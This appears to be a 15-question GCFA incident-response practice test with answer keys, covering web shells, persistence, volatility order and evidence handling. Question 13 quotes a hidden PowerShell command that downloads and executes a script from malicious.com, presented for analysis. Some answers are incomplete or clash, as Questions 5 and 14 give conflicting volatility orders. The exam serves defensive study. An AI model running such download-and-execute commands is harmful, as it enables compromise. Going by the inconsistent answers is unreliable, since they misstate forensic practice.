GCFA Enterprise Environment Incident Response Practice Test 3 — 15 Questions

Question 1

During a response to an incident involving a web shell, you find that the attacker is using custom encoding to bypass WAF signatures. What is the best forensic approach to identify all impacted web files?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Perform a file integrity check against the original source code base.. When attackers use custom encoding to hide web shells, signature-based WAF detections are ineffective. The most robust method is to perform a differential analysis of the web application's codebase against a known-good baseline, such as the original source control repository. By automatically highlighting differences, you can identify injected code blocks that don't match authorized files, regardless of how they are encoded or obfuscated by the attacker during the injection process.

Answer

Run a regex-based search for common web shell function names.

Answer

Analyze WAF logs to identify all requests that resulted in 200 OK codes.

Answer

Examine the access logs for all requests containing encoded characters.

Question 2

An attacker is using a living-off-the-land (LotL) technique to execute commands on a Linux server. Which log source is most likely to reveal the command-line arguments used?

Accepted Answer

Linux Audit Framework (auditd).. Linux auditd is the most robust tool for capturing process execution details. By configuring auditd to watch the 'execve' system call, responders can log every command executed, including its arguments, by every user on the system. This is invaluable during an incident because LotL techniques often use standard, trusted binaries to perform malicious acts, and command-line arguments are the only evidence distinguishing legitimate administrative use from an attacker's malicious actions.

Answer

Syslog (/var/log/syslog).

Answer

Apache Access Logs.

Answer

X11 Display Logs.

Question 3

Which THREE activities are considered best practices when preserving evidence from a cloud-based environment during an incident?

Accepted Answer

Take snapshots of all attached volumes for forensic imaging.. Evidence preservation in cloud environments requires non-destructive methods that maintain chain of custody while ensuring data integrity. By creating snapshots, isolating the affected instance, and extracting memory, responders ensure that the state of the system is preserved for deep forensic analysis. These steps are crucial because cloud instances are ephemeral and can be easily deleted or modified, which would destroy the evidence necessary to build a complete incident timeline and identify the root cause.

Answer

Shut down the instance immediately to stop the attack.

Answer

Delete all ephemeral logs to save on cloud storage costs.

Question 4

Which technique is commonly used by attackers to maintain persistence on a Windows system that specifically targets the login process?

Accepted Answer

Loading a malicious Security Support Provider (SSP).. The 'Authentication Packages' or 'SSP' (Security Support Provider) mechanism is a common target for persistence. By loading a malicious DLL as an SSP, the attacker ensures that their code is loaded into the Local Security Authority Subsystem Service (LSASS) process every time the system boots. This grants the attacker deep-level persistence and the ability to capture credentials as they are processed, making it a highly effective and stealthy technique for maintaining long-term access.

Answer

Adding a shortcut to the Startup folder.

Answer

Modifying the Windows registry Run keys.

Answer

Installing a malicious browser extension.

Question 5

During an enterprise incident response, you need to collect volatile evidence from a compromised Windows server that is still powered on. The server is business-critical and cannot be taken offline. Which of the following is the most appropriate order for collecting volatile data, according to RFC 3227 guidelines?

Accepted Answer

Collect the contents of physical memory, then network connections, then running processes, then disk.. The order of volatility dictates that the most perishable evidence be collected first. Physical memory and network connections are extremely volatile; running processes are less so but still change; disk is least volatile. Therefore, memory should be captured first, followed by network connections, then processes, and finally disk. This minimizes loss of evidence.

Answer

Collect network connections, then disk, then memory, then running processes.

Answer

Collect the disk image first to preserve the most evidence, then memory, then network connections.

Answer

Collect running processes, then disk, then memory, then network connections.

Question 6

An incident responder is analyzing a compromised Windows 10 workstation. The attacker used a technique to execute code in the context of a legitimate process by injecting a malicious DLL into it. Which of the following Windows artifacts would BEST provide evidence of this specific technique?

Accepted Answer

Memory dumps of the injected process. DLL injection leaves artifacts in the memory of the target process. Analyzing a memory dump with forensic tools can reveal injected DLLs, often by identifying memory regions with executable permissions that are not backed by a file on disk, or by finding DLLs not listed in the process's module list. This provides direct evidence of the technique.

Answer

Windows Event Logs (Security.evtx)

Answer

Shimcache

Answer

Prefetch files

Question 7

An enterprise incident response team is preparing to conduct a forensic investigation on a compromised Linux server. The server is still running and cannot be taken offline. Which TWO of the following commands are appropriate for collecting volatile network connection information while minimizing disruption to the system? (Choose two.)

Accepted Answer

netstat -antp. netstat and ss are standard tools for capturing volatile network connection information on a live Linux system. Both provide details on active connections, listening ports, and associated processes without generating new traffic or causing significant system disruption. They are commonly used in incident response to document the current network state before further analysis.

Answer

nmap -sS 127.0.0.1

Answer

lsof -i

Answer

tcpdump -i any -w capture.pcap

Question 8

During an enterprise incident response, you need to triage a compromised Windows host to determine if an adversary established persistence via a malicious service. Which artifact should you examine first to identify the service name, binary path, and start type?

Accepted Answer

The SYSTEM registry hive, specifically the Services key under CurrentControlSet. The SYSTEM registry hive stores all service configurations under CurrentControlSet\Services, including the binary path, start type, and account. This makes it the definitive artifact for identifying malicious service persistence. Other artifacts like the Run key, $MFT, or event logs may provide context but do not contain the full service configuration needed for triage.

Answer

The Windows Event Log Security.evtx for event ID 4697

Answer

The SOFTWARE registry hive, specifically the Microsoft\Windows\CurrentVersion\Run key

Answer

The NTFS $MFT to identify recently created executable files in System32

Question 9

An organization's incident response plan includes a requirement to maintain chain of custody for all digital evidence. A security analyst collects a USB drive from a compromised workstation. Which of the following is the MOST critical action to perform to ensure the evidence is admissible in a court of law?

Accepted Answer

Document the collection details, including date, time, location, and collector's name.. Chain of custody is a legal concept that documents the seizure, custody, control, transfer, analysis, and disposition of evidence. Proper documentation from the moment of collection is crucial to prove that the evidence has not been tampered with. This documentation includes details such as date, time, location, collector, and any transfers. Without it, the evidence may be deemed inadmissible.

Answer

Store the USB drive in a secure, locked cabinet with limited access.

Answer

Create a forensic image of the USB drive using a write-blocker.

Answer

Analyze the USB drive immediately to identify the attacker.

Question 10

During an enterprise incident, your team identifies that an attacker has deployed a ransomware variant that encrypts files on a critical file server. The attacker also exfiltrated sensitive data before encryption. Which of the following best describes the appropriate containment strategy?

Accepted Answer

Immediately disconnect the file server from the network, preserve volatile memory, and then proceed with eradication and recovery after scoping the full extent of the compromise.. The correct approach is to contain the incident by disconnecting the server to stop further encryption and potential lateral movement, while preserving volatile memory for forensic analysis. It is essential to scope the full extent of the compromise before eradication and recovery, as the attacker may have other footholds. This balanced approach aligns with incident response best practices for ransomware with data exfiltration.

Answer

Isolate the file server from the network by disabling its network interface and then restore from the most recent backup.

Answer

Shut down the file server immediately to stop the encryption process and prevent the attacker from accessing any further data.

Answer

Leave the server online to monitor the attacker's activity and gather more intelligence, while blocking outbound traffic to known command-and-control servers.

Question 11

During an incident response engagement, you need to establish a timeline of adversary activity on a compromised Windows server. Which data source is most appropriate for correlating user logon events, service installations, and process executions?

Accepted Answer

Windows Event Logs. Windows Event Logs are the most comprehensive source for correlating diverse activities such as logons, service installations, and process executions. They provide a centralized, timestamped record that can be analyzed to reconstruct a timeline of adversary actions across the system, making them indispensable for incident response.

Answer

Registry hives

Answer

Prefetch files

Answer

File system metadata (MAC times)

Question 12

During an incident response engagement, you discover that an attacker has compromised a Windows server and established persistence by creating a new Windows service. The service is configured to run a malicious executable at system startup. Which of the following registry locations would you examine to find the configuration of this service?

Accepted Answer

HKLM\SYSTEM\CurrentControlSet\Services. Windows services are configured in the registry under HKLM\SYSTEM\CurrentControlSet\Services. Each service has its own subkey containing values like ImagePath, which specifies the executable to run, and Start, which determines the start type. Investigating this key allows you to identify malicious services and their executables.

Answer

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Answer

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Answer

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Question 13

An incident responder is analyzing a compromised Windows server and suspects that an attacker used a scheduled task to maintain persistence. The responder runs 'schtasks /query /fo LIST /v' and sees a task named 'Updater' with a trigger set to run every hour. The task's action is 'powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/script.ps1')"'. Which of the following best describes the attacker's technique?

Accepted Answer

The attacker is using a scheduled task to download and execute a PowerShell script from a remote server, which is a form of fileless malware and persistence.. The scheduled task runs a hidden PowerShell command that downloads and executes a remote script using Invoke-Expression. This is a fileless persistence technique because the payload is not written to disk and the task ensures recurring execution. The responder should treat this as a serious compromise, investigate the remote URL, and check for similar tasks on other systems.

Answer

The attacker is using a scheduled task to run a PowerShell script that is already stored locally on the server, which indicates a previous compromise.

Answer

The attacker is using a scheduled task to run a PowerShell script that is signed by a trusted publisher, which bypasses application whitelisting.

Answer

The attacker is using a scheduled task to execute a PowerShell script that is embedded in the task's action, which is a form of obfuscation.

Question 14

During an enterprise-wide incident response, a Windows workstation is suspected of being compromised by a threat actor who used a spear-phishing document. The machine is still powered on and the user is logged in. You need to capture volatile evidence in a forensically sound manner. Which of the following is the correct order of volatility for collecting evidence, from most volatile to least volatile?

Accepted Answer

CPU registers and cache, routing table, RAM, temporary file systems, disk. The order of volatility dictates that the most perishable evidence be collected first. CPU registers and cache change with every instruction, routing tables and ARP caches expire quickly, and RAM loses its contents on power-off. Temporary file systems and disk are comparatively persistent. Following this sequence preserves the most fragile evidence before it is altered or destroyed by normal system activity or shutdown.

Answer

Temporary file systems, disk, RAM, routing table, CPU registers and cache

Answer

Disk, RAM, temporary file systems, routing table, CPU registers and cache

Answer

RAM, CPU registers and cache, disk, temporary file systems, routing table

Question 15

During an enterprise incident response, you are tasked with collecting volatile evidence from a compromised Windows workstation. Which two of the following are considered best practices for preserving volatile data? (Choose two.)

Accepted Answer

Run 'netstat -ano' to record active network connections and associated process IDs.. Capturing physical memory and recording active network connections are both essential for preserving volatile evidence. Memory contains running processes, encryption keys, and injected code, while netstat reveals current network activity that may indicate command-and-control or lateral movement. These steps should be performed before any action that alters the system state, such as shutdown or disconnection.

Answer

Immediately shut down the system to prevent further malicious activity and then create a forensic image of the hard drive.

Answer

Use a write blocker when connecting the hard drive to a forensic workstation to create a bit-for-bit image.

Answer

Disconnect the workstation from the network before capturing any volatile data to prevent data leakage.